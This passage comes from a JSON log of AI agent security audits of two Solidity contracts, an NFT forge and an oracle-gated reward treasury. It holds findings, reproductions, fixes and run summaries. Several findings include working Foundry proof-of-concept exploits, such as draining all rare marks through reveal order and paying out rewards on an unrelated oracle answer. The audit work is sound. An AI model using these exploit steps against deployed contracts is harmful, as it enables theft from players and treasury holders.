in one block reserve 1 - 0.8^20 = 98.8% of the balance; withdraw (line 519) then refuses the owner, and each reservation is released only by rejection, unpin, 14-day cancellation or 56 days after activation. The director is a trusted role, so alone this is griefing (each proposal also spends 0.5 IMD on the Intake); combined with finding 2 it removes the only bound on the amount a malicious director can pay itself. From audit_permissions ae491358. Fix: bound `week` (monotonic, at most one proposal per real week) or cap `reserved + total <= balance * maxRewardBps / BPS` as a whole.","line":300,"path":"src/OracleShrine.sol","reproduction":"Shrine balance 1000 IMD. Director calls askRewards(w, bytes32(w), cap_w, body, keccak256(abi.encode('q', w))) for w = 1..20 with cap_w = availableBalance() * 2000 / 10000 read before each call. Expected per NatSpec: at most 20% of the free balance reserved. Actual: reserved = 980.94 IMD, availableBalance() = 9.06 IMD; owner withdraw(imd, owner, 500e18) reverts InsufficientFreeBalance(500e18, 9.06e18). Traced through lines 294-314: no check reads earlier weeks.","severity":"low","snippet":"        uint256 cap = (availableBalance() * maxRewardBps) / BPS;","title":"maxRewardBps caps one proposal, not the aggregate: the director can reserve ~98% of the treasury by proposing many arbitrary `week` ids, locking it from the owner"},{"citation":"resolved","description":"isValidReferrer requires only referrer != minter and balanceOf(referrer) != 0. The explicit guard against self-referral is defeated by forging once, transferring that soul to a second wallet one controls, and naming it as referrer on each further forge (IMD path via _forge line 673-684, token path via forgeWithToken line 355). referralBps (5%) of each price is taken out of the payees' share (line 620). Design-level leak, reported for the owner's awareness; mitigation: require the referrer to have forged itself (mintedBy[referrer] != 0) and/or cap payouts per referrer. From audit_economics 1094b98e.","line":626,"path":"src/GodsOfIMDInhabitants.sol","reproduction":"Public phase, mintPrice 5 IMD, default split. Wallet A: forge(h1, 0) pays 5 IMD; A: transferFrom(A, B, 1) to its own wallet B. A: forge(h2, B) -> isValidReferrer(B, A) is true; B receives 0.25 IMD, payees receive 3.25 IMD instead of 3.5 IMD. Repeating for A's remaining 18 wallet-cap forges returns 4.5 IMD to the minter. Expected: self-referral refused.","severity":"low","snippet":"        return referrer != address(0) && referrer != minter && balanceOf(referrer) != 0;","title":"Referral share is claimable by the minter's own second wallet: the `referrer != minter` guard is bypassed by transferring one soul, making every later forge 5% cheaper at the payees' expense"},{"citation":"resolved","description":"The protocol's OracleAttestationConsumer._verifyAttestation (oracle-consumer REFERENCE.md) rejects a.issuedAt > block.timestamp + ISSUED_AT_TOLERANCE (5 minutes) with AttestationNotYetValid. OracleShrine._record checks only expiresAt (line 641) and the signature, so a correctly signed attestation dated in the future is accepted at once through both record and onOracleResult. Exploiting it needs a future-dated signature from the trusted signer, so this is a freshness/defense-in-depth discrepancy with the canonical verifier, not a forgery. From write_foundry_tests 84e3f0ae. Fix: add `if (a.issuedAt > block.timestamp + 5 minutes) revert` before the signature check.","line":641,"path":"src/OracleShrine.sol","reproduction":"At timestamp 1800000000, pin question Q (director ask) and sign a valid bool attestation in the shrine domain with panelSize 30, quorum 20, agreed 20, issuedAt 1800000301, expiresAt 1800003600. Call record(a, sig). Expected under the canonical verifier: revert (issuedAt exceeds the 300-second tolerance). Actual: succeeds, pins[Q].answered = true. Traced lines 631-657: no issuedAt comparison exists.","severity":"low","snippet":"        if (block.timestamp > a.expiresAt) revert AttestationExpired(a.expiresAt);","title":"Attestation verification omits the canonical issuedAt clock-skew limit: a future-dated attestation is recorded immediately"},{"citation":"resolved","description":"Not defects; documented so they are separated from bypasses. OracleShrine owner: setSigner lets the owner sign attestations itself, and with setDirector(self) then askRewards/record/finalizeRewards/claim it reaches the `reserved` IMD that withdraw protects (reserved protects claimants only against an honest owner's withdraw). setPanelMinimums/setMinQuorum apply retroactively to pending pins. setIntake while requests are pending makes the old intake's callbacks revert NotIntake (recoverable via record + unpin). Director: spends free IMD on any Intake action (ask up to 8 x pricePerQuestion per call), chooses roots/totals/questions (findings 2, 5), anchors any day once. GodsOfIMDInhabitants owner: setAddresses redirects the shrine/burn share, setPrices(0,...) makes forging free, setForgeToken lists any ERC20 with any payee, forgeReserved mints 100 free souls; steward's setMemorial is irreversible. Both contracts use OZ Ownable (single-step transferOwnership, live renounceOwnership): a mistyped transfer before setPhase permanently bricks the owner-only post-deployment configuration the brief relies on. These match the brief ('every owner role goes to $owner', director = game server). Merged from audit_permissions 9c5d18fc and b5de34a7.","line":469,"path":"src/OracleShrine.sol","reproduction":"Owner path to reserved IMD: setDirector(owner); askRewards(w, rewardLeaf(owner, cap), cap, body, H); setSigner(ownerKey); record(attestation for H signed by ownerKey, answer true, 30/20/20); finalizeRewards(w); claim(w, owner, cap, []) -> owner receives cap although withdraw(imd, owner, cap) would revert InsufficientFreeBalance. Precondition: owner key only.","severity":"info","snippet":"    function setSigner(address oracleSigner_) external onlyOwner {","title":"Trust assumptions of the privileged roles as reviewed, including an owner path to the `reserved` IMD and single-step ownership on both contracts"}],"hash":"258f4f5390989ed3196cb287a06b54981db9ee0b90dfd27ed5a085847399dad6","nodeId":"76082c61-096a-43d1-96bd-a0b0d839d12b","outcome":"completed","summary":"The review is complete and `.imd-findings.json` holds the final report: eight findings and a coverage row for all 57 entry points plus the manifest.\n\n**What I kept, after reproducing each against the code**\n\n- **High, reveal order drains the Divines.** `reveal` draws from the remaining deck with a caller-chosen order, so every pending draw is a public function of deck state. The owner's 100 reserved souls take all 10 Divines in the specialist's proof, which fails on this tree with `10 > 4`. Proof attached.\n- **Medium, rewards question unbound to the root.** `askRewards` pins any director-supplied hash, so a signed true to an unrelated question activates and pays an arbitrary Merkle root. Proof fails with the attacker paid 200 IMD. Merged from the permissions and flow specialists.\n- **Medium, record accepts answers to requests the shrine never made.** `_record` keys only on the question hash and never consumes a request id, so an outsider's re-ask of the same question settles the pin first and the shrine's own paid answer is refused. Proof fails as stated. Merged from flow, economics and permissions.\n- **Low, referral/burn split seam.** `setReferralBps` and `setSplit` never re-check listed forge tokens, so referred token forges panic afterwards. Proof fails with Panic 0x11. Merged from three specialists and recalibrated down from medium, since nothing is lost and the owner can recover.\n- **Low** findings for the per-week cap not bounding the aggregate reservation, self-referral through a second wallet, and the missing issuedAt skew check that the canonical verifier has.\n- **Info** row documenting owner, director and steward trust assumptions, including the owner path to reserved IMD and single-step ownership.\n\n**What else I checked**\n\nThe full project suite passes 126 tests, both runtimes are under the EIP-170 limit, the manifest matches the brief's constructor order and addresses, and my own pass over the remaining entry points found nothing beyond the specialists' leads. Nothing in the tree was modified; the only writes were the findings file and scratch material under `test/scratch/`.","treeHash":null,"usage":{"cachedInputTokens":758960,"cost":{"source":"runtime","usdMicros":3871381},"inputTokens":226,"model":"claude-fable-5-1","outputTokens":27817,"runtime":"claude","turns":12,"wallClockMs":553364}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"a93cc1aa32976b68","findings":[{"citation":"resolved","description":"reveal() draws from the deck that is left (_draw uses markCap - markRevealed and rand % total). Once blockhash(revealBlock) exists, every pending soul's outcome is a public, deterministic function of the current deck state, and anyone may reveal any soul in any order (reveal/revealMany are permissionless, revealMany takes a caller-chosen order). Revealing one soul changes `total` and the weights, which re-rolls every other pending soul's draw. A holder of many pending souls forged in the same block (the owner with forgeReservedMany up to 100, or any player with up to 20-25 forges in one block) therefore simulates the draws off-chain and reveals greedily: whichever pending soul draws Divine now goes first, otherwise reveal a non-Divine soul to re-roll the others. This breaks the stated guarantee that reserved souls 'draw their Mark from the same deck, with the same odds' and lets one party drain the 10 Divines (and then the 100 Ascended) that the 900 paid forges are paying 5 IMD each to have a chance at. The NatSpec mentions order influence in general, but the magnitude is total: the whole Divine supply, not a nudge. Fix (keeps ABI): make the draw independent of reveal order, e.g. assign each soul a deck position at forge time / draw by a per-id permutation of the fixed deck (Fisher-Yates over ids seeded once), or draw only in token-id order (reveal must consume the lowest unrevealed id with an available hash first).","line":456,"path":"src/GodsOfIMDInhabitants.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {GodsOfIMDInhabitants} from \"src/GodsOfIMDInhabitants.sol\";\n\ncontract OrderIMD is ERC20 {\n    constructor() ERC20(\"IMD\", \"IMD\") {}\n}\n\n/// The owner forges the 100 reserved souls in one transaction. Two blocks later every draw is a known function\n/// of the deck that is left, so the owner reveals in the order that turns the most of them Divine.\ncontract RevealOrderTest is Test {\n    GodsOfIMDInhabitants nft;\n    address owner = address(0xA11CE);\n\n    function setUp() public {\n        nft = new GodsOfIMDInhabitants(owner, IERC20(address(new OrderIMD())), address(0x5A1), address(0xB0));\n        vm.roll(1000);\n    }\n\n    /// Exactly the contract's `_draw`, read from public state.\n    function _predict(uint256 id) internal view returns (uint8) {\n        bytes32 h = blockhash(nft.revealBlock(id));\n        uint256 rand = uint256(keccak256(abi.encode(h, nft.soulHashOf(id), id)));\n        uint256[4] memory w;\n        uint256 total;\n        for (uint256 i; i < 4; ++i) {\n            w[i] = nft.markCap(i) - nft.markRevealed(i);\n            total += w[i];\n        }\n        uint256 r = rand % total;\n        for (uint256 i = 4; i > 0;) {\n            --i;\n            if (r < w[i]) return uint8(i + 1);\n            r -= w[i];\n        }\n        return 1;\n    }\n\n    function test_revealOrderDoesNotMintExtraDivines() public {\n        bytes32[] memory hs = new bytes32[](100);\n        for (uint256 i; i < 100; ++i) hs[i] = keccak256(abi.encode(\"reserved\", i));\n        vm.prank(owner);\n        uint256 first = nft.forgeReservedMany(hs);\n        vm.roll(block.number + 2);\n        vm.setBlockhash(block.number - 1, keccak256(\"an ordinary block hash\"));\n\n        bool[100] memory done;\n        uint256 left = 100;\n        // Greedy: reveal any soul that draws Divine now; when none does, reveal one that is not Divine anyway\n        // (it burns a deck slot and re-rolls everyone else's modulus).\n        while (left > 0) {\n            uint256 pick = type(uint256).max;\n            uint256 filler = type(uint256).max;\n            for (uint256 i; i < 100; ++i) {\n                if (done[i]) continue;\n                uint8 m = _predict(first + i);\n                if (m == 4) { pick = i; break; }\n                if (filler == type(uint256).max) filler = i;\n            }\n            if (pick == type(uint256).max) pick = filler;\n            uint256[] memory one = new uint256[](1);\n            one[0] = first + pick;\n            nft.revealMany(one);\n            done[pick] = true;\n            --left;\n        }\n        uint256 divines = nft.markRevealed(3);\n        emit log_named_uint(\"Divines the owner took out of 100 reserved souls (deck: 10 in 1000, fair ~1)\", divines);\n        // 100 fair draws from a 1000-card deck with 10 Divines give at most 4 Divines with >99.6% probability.\n        assertLe(divines, 4, \"reveal order let the revealer pick the deck's Divines\");\n    }\n}","reproduction":"Fresh deploy (owner=A). A calls forgeReservedMany with 100 distinct soul hashes in block N (ids 901-1000, revealBlock N+1). In block N+2 (blockhash(N+1) set to keccak256('an ordinary block hash') in the test), A repeatedly: computes _draw for every pending id from public state; if some id draws Divine, revealMany([that id]); else revealMany([any pending id]). Expected: ~1 Divine (100 fair draws from 10/1000; >4 has <0.4% probability). Actual: markRevealed(3) == 10 - all ten Divines of the 1000-soul deck land on the owner's reserved souls, leaving 0 Divines for the 900 paid souls. test/scratch/RevealOrder.t.sol fails with '10 > 4'.","severity":"high","snippet":"        Mark m = _draw(uint256(keccak256(abi.encode(h, soulHashOf[tokenId], tokenId))));","title":"Reveal order is free to choose and each draw is predictable: one revealer takes every Divine in the deck (owner's 100 reserved souls take 10/10)"},{"citation":"resolved","description":"askRewards pins questionHash and buys one intake request, but neither the intake requestId nor the attestation's a.requestId is stored or checked. _record (reached by the permissionless record()) accepts any attestation whose questionHash is pinned and unanswered and whose signature is valid for this shrine's domain; the first one recorded decides finalizeRewards/rejectRewards. The oracle-consumer reference states anyone can pay 0.5 IMD, name this contract as consumer and get their own question answered and signed for it, and requires consuming only a request the contract made. So a third party can ask the identical body (same absolute window => same questionHash) in a separate paid request and record whichever answer it prefers before the shrine's own callback lands, or keep re-asking after the shrine's own request fails (AskFailed leaves the pin open) until a panel returns the wanted bool. A 'false' answer recorded first rejects the week (griefing: the director must re-propose with a new question and pay again); a 'true' from answer-shopping activates a reward list the shrine's own panel did not approve. Fix: store the intake requestId (or the expected oracle requestId) per reward week and require the verdict to come from that request, e.g. record the answer only in onOracleResult for the matching pending id, or have record() check a.requestId against what the shrine's request produced.","line":632,"path":"src/OracleShrine.sol","reproduction":"Director calls askRewards(1, root, 1 ether, body, Q); shrine's intake request R1 is pending. Attacker pays the intake for the same body naming the shrine as consumer and receives attestation A2 {requestId: R2's oracle UUID (not the shrine's), questionHash: Q, answerType 0, answer abi.encode(false), panelSize 30, quorum 20, agreed 20} signed by oracleSigner in the shrine's domain. Attacker calls record(A2, sig) -> accepted (no requestId check, lines 631-657); rejectRewards(1) then succeeds and the shrine's own later answer to R1 reverts AlreadyAnswered(Q) inside the intake callback. Expected: only the shrine's own request settles week 1. Actual: an outsider's request settles it.","severity":"medium","snippet":"        Pin storage pin = pins[a.questionHash];\n        if (pin.pinnedAt == 0) revert NotPinned(a.questionHash);\n        if (pin.answered) revert AlreadyAnswered(a.questionHash);","title":"Reward week verdict is taken from any signed attestation for the pinned questionHash, not from the shrine's own intake request"},{"citation":"resolved","description":"isValidReferrer only requires referrer != minter and balanceOf(referrer) != 0. A minter forges once, transfers that soul to a second wallet B they control, then names B as referrer on each further forge: B receives referralBps (5%) of each price, taken out of the payees' share. Same for forgeWithToken (SHIFT). This is a design-level leak, reported for the owner's awareness; mitigations: require the referrer to have forged (mintedBy[referrer] != 0) and/or cap referral payouts per referrer, accepting that sybils remain possible.","line":626,"path":"src/GodsOfIMDInhabitants.sol","reproduction":"Public phase. Wallet A: forge(h1, 0) pays 5 IMD; A transfers token 1 to wallet B (same person). A: forge(h2, B) -> B receives 0.25 IMD, payees receive 3.25 IMD instead of 3.5 IMD. Repeating for A's remaining 18 wallet-cap forges returns 4.5 IMD to the minter.","severity":"low","snippet":"        return referrer != address(0) && referrer != minter && balanceOf(referrer) != 0;","title":"Referral share is claimable by the minter's own second wallet, so every forge after the first is 5% cheaper at the payees' expense"}],"hash":"2607ed159ec44045ca4e3b4cf82fdaf5dcb8fb247c9bf2e85189aeec4dadb0bb","nodeId":"e0a79109-66b8-4fdc-a510-dfc759702791","outcome":"completed","summary":"I've written `.imd-findings.json` with 3 findings, plus coverage rows for all 57 entry points and 2 invariants. No contract or config files were changed. Only the high finding has a Foundry test, and it fails on the code as it stands; the medium and low findings have written reproductions but no test.\n\n**High: whoever reveals can pick the Marks.** `src/GodsOfIMDInhabitants.sol:456`\n- Each Mark is drawn from whatever is left of the shared deck. Once the hash it draws from exists, anyone can work out every pending soul's Mark in advance, and revealing one soul changes the draw for all the others.\n- Anyone can reveal any soul, in any order they like (`reveal`/`revealMany`).\n- So someone with many souls forged in the same block can reveal in a chosen order: any soul that would come out Divine goes first, and otherwise another soul is revealed to re-roll the rest.\n- In the test (`test/scratch/RevealOrder.t.sol`), the owner forges the 100 reserved souls with `forgeReservedMany` and reveals greedily two blocks later. They get all 10 Divines in the deck, where about 1 is expected. That leaves no Divines for the 900 paid souls.\n- The contract's comments say reserved souls draw \"from the same deck, with the same odds\", so this breaks a stated promise. A player forging 20–25 souls in one block can do a smaller version of the same thing.\n- Suggested fix, with no ABI change: make the draw not depend on reveal order, for example by fixing each soul's place in the deck when it is forged, or by forcing reveals to go in token-id order.\n\n**Medium: a reward week can be decided by someone else's oracle request.** `src/OracleShrine.sol:632`\n- `record` is open to anyone. It accepts any validly signed answer to a pinned question, and it never checks that the answer came from the shrine's own intake request.\n- An outsider can pay for the same question themselves and name the shrine as the consumer. The answer they get is signed for the shrine. If they record it first, it decides whether `finalizeRewards` or `rejectRewards` goes through.\n- That allows two things: griefing (recording a \"false\" so the director has to propose again and pay again), and answer shopping (asking again after the shrine's own request fails until a \"true\" comes back).\n- This goes against the oracle-consumer reference, which says a contract should only accept answers to requests it made itself.\n\n**Low: referrers can be your own second wallet.** `src/GodsOfIMDInhabitants.sol:626`\n- A minter can move one soul to a second wallet and name it as referrer on every later forge. That wallet gets 5% of each price, taken from the payees' share.\n\n**Coverage:** I checked my assigned area (economic security, invariants and value flows) across both contracts: how payments are split, wallet caps, the reserve, forging with other tokens, the shrine's reward reservations, claims and withdrawals, and the panel minimums. Both invariants I tracked held:\n- The shrine's reserved amount never exceeds its IMD balance.\n- Each forge's parts (burned, shrine, payees, referrer) add up exactly to the price.\n\nThe other rows are \"holds\" or reflect trust I'm assuming in the owner and director roles. Every entry point has a row.\n\n**Not reported:**\n- The static-analysis leads about uninitialised locals are false: Solidity sets locals to zero.\n- An owner who raises the referral rate after listing a token could make referred forges with that token revert. That only happens with an unusual owner configuration, so I left it out.","treeHash":null,"usage":{"cachedInputTokens":533084,"cost":{"source":"runtime","usdMicros":1056181},"inputTokens":16,"model":"claude-opus-5-5","outputTokens":16323,"runtime":"claude","turns":9,"wallClockMs":181916}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"8a05ec1ea94411ea","findings":[{"citation":"resolved","description":"The vault's stated guarantee (lines 18-20) is that reserved IMD 'can only be claimed after the panel's signed answer is true' to whether the list behind `root` follows the rules. But `askRewards` pins a `questionHash` the director passes freely (line 303 `_pin(questionHash, KIND_REWARDS);`); nothing derives it from `root`, `total`, `week` or `body`, and `_record` (lines 631-657) only checks that the signed attestation's questionHash is pinned. The oracle-consumer reference requires the consumer to build the question from the request's identifiers in-contract and compare the hash, because 'anyone can pay 0.5 IMD, name your contract as the consumer, and get their own question answered and signed for you'. So the director (the game server's hot key, 0xF0CE..., or anyone holding it) proposes a root whose single leaf is its own address, pins the hash of a question whose honest answer is `true` (e.g. 'Is 1 + 1 = 2?'), has that question answered by the oracle with the shrine as consumer, relays the signed answer via permissionless `record`, calls `finalizeRewards` and `claim`. The panel never judged the list; the only intended control on the director's reward lists is void. With finding 2 (per-week cap only), repeated weeks reach ~98% of the treasury. Owner cannot intervene: `cancelRewards` is blocked once a judgment is recorded, `withdraw` cannot touch `reserved`. This is a trust-gap defect (access x asymmetry): the director is a permitted role, but the oracle check that is supposed to constrain it does not constrain it. Fix that keeps the ABI: compute the expected question in-contract from (week, root, total) with the protocol's OracleQuestion library over an absolute window and require `questionHash` to equal it (and build `body` from the same values), or at minimum require the body to be the canonical question for the root and hash it on-chain.","line":289,"path":"src/OracleShrine.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {OracleShrine} from \"src/OracleShrine.sol\";\nimport {IIntake} from \"src/interfaces/IIntake.sol\";\n\ncontract ProofIMD is ERC20 {\n    constructor() ERC20(\"Test IMD\", \"IMD\") {}\n    function mint(address to, uint256 amount) external { _mint(to, amount); }\n}\n\n/// Minimal intake: pulls the price and hands back an id. Never answers (the attacker relays instead).\ncontract ProofIntake is IIntake {\n    uint256 private nonce;\n    function requestWithFailure(bytes32, bytes calldata, Callback calldata, bytes4, address asset, uint256 amount)\n        external\n        returns (bytes32 requestId)\n    {\n        require(IERC20(asset).transferFrom(msg.sender, address(this), amount));\n        requestId = keccak256(abi.encode(address(this), ++nonce));\n    }\n}\n\n/// The rewards gate: \"reserved IMD can only be claimed after the panel's signed answer is `true`\" to the question\n/// whether the list behind `root` follows the rules. `askRewards` takes `questionHash` from the director with no\n/// binding to `root` or `body`, so a director (a hot server key) pins the hash of an unrelated question whose answer\n/// is `true`, obtains that answer signed in the shrine's domain (anyone can pay 0.5 IMD and name the shrine as the\n/// consumer), relays it through `record`, finalizes and claims the week to its own address. The panel never judged\n/// the list. Fails on the current code: the attacker is paid. Passes once the pinned question is derived from the\n/// proposal (root/total/week) inside the contract, or the proposal otherwise refuses an unbound hash.\ncontract RewardsQuestionUnboundTest is Test {\n    uint256 internal constant SIGNER_KEY = 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d;\n    address internal owner = address(0xA11CE);\n    address internal director = address(0xD1);\n    address internal attacker = address(0xBAD);\n    ProofIMD internal imd;\n    ProofIntake internal intake;\n    OracleShrine internal shrine;\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        imd = new ProofIMD();\n        intake = new ProofIntake();\n        shrine = new OracleShrine(owner, intake, imd, vm.addr(SIGNER_KEY), director);\n        imd.mint(address(shrine), 1_000 ether);\n    }\n\n    function test_directorActivatesRewardsWithAnswerToUnrelatedQuestion() public {\n        uint256 total = 200 ether; // exactly maxRewardBps (20%) of the free balance\n        // Single-leaf tree: root == leaf, empty proof.\n        bytes32 root = shrine.rewardLeaf(attacker, total);\n        // Hash of a question that has nothing to do with the list (\"Is 1 + 1 = 2?\"), chosen by the director.\n        bytes32 unrelated = keccak256(\"Is 1 + 1 = 2?\");\n\n        vm.prank(director);\n        (bool proposed,) = address(shrine).call(\n            abi.encodeWithSignature(\n                \"askRewards(uint64,bytes32,uint256,bytes,bytes32)\",\n                uint64(1), root, total, bytes('{\"question\":\"does the list behind root follow the rules?\"}'), unrelated\n            )\n        );\n\n        if (proposed) {\n            // The oracle's honest answer to the unrelated question, signed for this shrine.\n            OracleShrine.Attestation memory a = OracleShrine.Attestation({\n                requestId: keccak256(\"attacker's own oracle request\"),\n                chainId: block.chainid,\n                questionHash: unrelated,\n                answerType: 0,\n                answer: abi.encode(true),\n                figure: 0,\n                fromBlock: 100,\n                toBlock: 200,\n                blockHash: bytes32(uint256(7)),\n                panelJobId: keccak256(\"panel job\"),\n                panelSize: 30,\n                quorum: 20,\n                agreed: 30,\n                issuedAt: uint64(block.timestamp),\n                expiresAt: uint64(block.timestamp + 1 hours)\n            });\n            (uint8 v, bytes32 r, bytes32 s) = vm.sign(SIGNER_KEY, shrine.attestationDigest(a));\n            bytes memory sig = abi.encodePacked(r, s, v);\n\n            vm.startPrank(attacker);\n            address(shrine).call(abi.encodeWithSignature(\n                \"record((bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\n                a, sig\n            ));\n            address(shrine).call(abi.encodeWithSignature(\"finalizeRewards(uint64)\", uint64(1)));\n            bytes32[] memory proof = new bytes32[](0);\n            address(shrine).call(\n                abi.encodeWithSignature(\"claim(uint64,address,uint256,bytes32[])\", uint64(1), attacker, total, proof)\n            );\n            vm.stopPrank();\n        }\n\n        assertEq(imd.balanceOf(attacker), 0, \"rewards were paid on a judgment of a question unrelated to the list\");\n    }\n}","reproduction":"State: shrine holds 1000 IMD, maxRewardBps=2000, director=D. 1) D: askRewards(1, root=rewardLeaf(D,200e18), 200e18, body=anything, questionHash=keccak256('Is 1 + 1 = 2?')) -> Proposed, reserved=200e18. 2) D pays 0.5 IMD to the Intake for the question 'Is 1 + 1 = 2?' with consumer = shrine; the oracle signs {questionHash: that hash, answerType 0, answer abi.encode(true), panel 30/20/30} in the shrine's EIP-712 domain. 3) anyone: record(a, sig) -> pin answered, judgment true. 4) finalizeRewards(1) -> Active. 5) claim(1, D, 200e18, []) -> D receives 200 IMD. Expected: a week can only activate on the panel's answer about the list behind `root`. Actual: any true answer the director chose to pin activates it. Test test/scratch/RewardsQuestionUnbound.t.sol fails on this tree: '200000000000000000000 != 0'.","severity":"medium","snippet":"    function askRewards(uint64 week, bytes32 root, uint256 total, bytes calldata body, bytes32 questionHash)","title":"Rewards oracle gate is not bound to the proposal: director supplies any questionHash, so a 'true' answer to an unrelated question activates and pays an arbitrary reward list"},{"citation":"resolved","description":"`week` is an arbitrary uint64 with no relation to time or to previously proposed weeks, and each proposal's cap is 20% of what is free at that moment. The cap documented as 'A week's reward total may be at most this share of the free balance' therefore never bounds the total the director can place under oracle-gated reservation. Twenty proposals in one block reserve 1 - 0.8^20 = 98.8% of the balance; `withdraw` (line 519) then refuses the owner, and each reservation is released only by rejection, 14-day cancellation, or 56 days after activation. Director is a trusted role, so alone this is a trust/griefing issue (the shrine also pays 0.5 IMD per proposal to the Intake). Combined with finding 1 it turns the per-week cap into no cap on the drainable amount. Fix: bound `week` (e.g. monotonic, at most one proposal per real week) or cap `reserved` as a whole (e.g. `reserved + total <= balance * maxRewardBps / BPS`).","line":300,"path":"src/OracleShrine.sol","reproduction":"Shrine balance 1000 IMD. Director calls askRewards(w, bytes32(w), cap_w, '{}', keccak256(abi.encode('q', w))) for w = 1..20 with cap_w = availableBalance()*2000/10000 at each step. Result (test/scratch/Leads.t.sol test_directorReservesNearlyEverythingAcrossWeeks, passes on this tree): reserved = 980.94 IMD, availableBalance = 9.06 IMD; owner withdraw(imd, owner, 500e18) reverts InsufficientFreeBalance. Expected per NatSpec: at most 20% of the free balance reserved for rewards.","severity":"low","snippet":"        uint256 cap = (availableBalance() * maxRewardBps) / BPS;\n        if (total > cap) revert RewardTotalTooHigh(total, cap);","title":"maxRewardBps caps one proposal, not the aggregate: director can reserve ~98% of the treasury by proposing many `week` values, locking it from the owner"},{"citation":"resolved","description":"Asymmetry between the two writers of the constraint 'forge-token burn share + referral share <= 100%'. `_setForgeToken` checks it against the referralBps current at listing time, but `setReferralBps` (lines 536-541) and `setSplit` (line 524) only check the new referralBps against the IMD payee pool (`payeePoolBps()`), never against any listed token's `burnBps`. Once referralBps exceeds BPS - token.burnBps, `_payToken` line 375 `uint256 toPayee = price - burned - toReferrer;` underflows for every forge with a valid referrer, while unreferred forges still succeed. For the SHIFT listing fixed at deploy (burnBps 3000) this happens as soon as the owner lowers burn+shrine to <= 3000 bps and raises referralBps above 7000. Fix: in `setReferralBps`/`setSplit` iterate `_forgeTokenList` and require `t.burnBps + referralBps_ <= BPS` for active tokens, or clamp toReferrer in `_payToken`.","line":651,"path":"src/GodsOfIMDInhabitants.sol","reproduction":"Owner: setPhase(Public); setForgeToken(T, 100e18, 100, 3000, owner); setSplit(1000, 1000, [Payee(owner, 8000)]); setReferralBps(8000) (accepted: pool is 8000). Referrer R forges one soul in IMD. Buyer B approves 100 T: forgeWithToken(T, h1, address(0)) succeeds; forgeWithToken(T, h2, R) reverts with panic 0x11 at line 375 (100 - 30 - 80 < 0). Expected: either setReferralBps(8000) is rejected because SHIFT/T is listed with burnBps 3000, or the referred forge succeeds. test/scratch/Leads.t.sol test_referredForgeTokenUnderflowsAfterReferralRaise passes on this tree.","severity":"low","snippet":"        if (uint256(burnBps_) + referralBps > BPS) revert InvalidSplit(burnBps_, referralBps);","title":"setReferralBps/setSplit do not re-validate listed forge tokens: burnBps + referralBps > 100% makes every referred forgeWithToken revert with an arithmetic panic"},{"citation":"resolved","description":"`_record` keys only on `a.questionHash` and never consumes `a.requestId` or the intake request id (the oracle-consumer reference: 'Consume one of them, once' and 'only a request id it created and has not settled'). A permissionless relay is needed for group answers, but it means the first signed answer for a pinned hash wins permanently (`pin.answered = true`, and `unpin` refuses answered pins). Anyone can pay 0.5 IMD to the Intake for the same question text/window with the shrine as consumer and relay the oracle's answer before the shrine's own callback. Because panel outcomes are not deterministic (the shrine itself accepts any agreed >= quorum), a party who dislikes the likely answer re-asks until a favourable attestation (or one that fails the panel floors? no: one that passes them with the other verdict) arrives and records it first; the shrine's own answer is then rejected AlreadyAnswered and the director must ask a fresh question (new hash) to overturn nothing - the judgment is final. For a rewards week a hostile 'false' rejects the list (reservation released, re-propose costs another 0.5 IMD and 14+ days of operational delay); for a game judgment (kind != 4) the recorded verdict is whatever the racer obtained. Cost to the attacker: 0.5 IMD per attempt; impact bounded to griefing/choice among plausible panel outcomes, hence low. Fix: in `_record` require `a.requestId`/the intake id to belong to a request this shrine made (store the oracle requestId per pin on callback, or accept relays only for ids in `pending` via an explicit `record(requestId, a, sig)` that consumes it).","line":395,"path":"src/OracleShrine.sol","reproduction":"Director: ask(action, body, [H], 1) -> pending[rid]=true, pins[H] set. Attacker signs/obtains attestation a with a.questionHash = H, a.requestId = any bytes32 not equal to the shrine's request (e.g. keccak256('attacker')), panel 30/20/20, valid oracle signature; calls record(a, sig) from any EOA -> succeeds, pins[H].answered = true, judgments(H) stores attacker's answer. Later intake.onOracleResult(rid, a_real, sig_real) reverts AlreadyAnswered(H) and is swallowed by the intake; pending[rid] stays true forever. Expected: only an answer to the shrine's own request settles its pin. (The scratch RewardsQuestionUnbound test records with requestId keccak256(\"attacker's own oracle request\") while nothing matching is pending and is accepted.)","severity":"low","snippet":"    function record(Attestation calldata a, bytes calldata signature) external {\n        _record(a, signature);\n    }","title":"`record` settles a pinned question on the first validly signed answer from anyone, ignoring requestId/pending: a third party can race the shrine's own request with a re-ask of the identical question"},{"citation":"resolved","description":"Both contracts inherit OZ `Ownable` (OracleShrine.sol line 4 and 21; GodsOfIMDInhabitants.sol line 10 and 43), not `Ownable2Step`. `transferOwnership(address)` takes effect immediately with no acceptance, and `renounceOwnership()` is live. The owner is the only role able to open minting, set the metadata URL, payees, steward, signer, intake and to withdraw the shrine's free IMD, so one wrong address bricks the launch's post-deployment configuration. Not a bypass; reported as an operational hardening item since the brief has the owner configure everything after deployment.","line":10,"path":"src/GodsOfIMDInhabitants.sol","reproduction":"Owner calls GodsOfIMDInhabitants.transferOwnership(0x000...dead-like typo) or renounceOwnership() before setPhase(Public): owner() changes at once; every subsequent onlyOwner call (setPhase, setBaseURI, setPayees, forgeReserved) reverts OwnableUnauthorizedAccount; minting can never open. Same for OracleShrine (setSigner, withdraw, cancelRewards, expireRewards).","severity":"info","snippet":"import {Ownable} from \"@openzeppelin/contracts/access/Ownable.sol\";","title":"Single-step ownership transfer and renounce on both contracts: a mistyped transferOwnership or renounceOwnership permanently removes every owner setter (phase, URI, payees, signer, intake, withdraw)"},{"citation":"resolved","description":"Documented so the judge can separate them from bypasses. OracleShrine owner: `setSigner` lets the owner sign attestations itself, and with 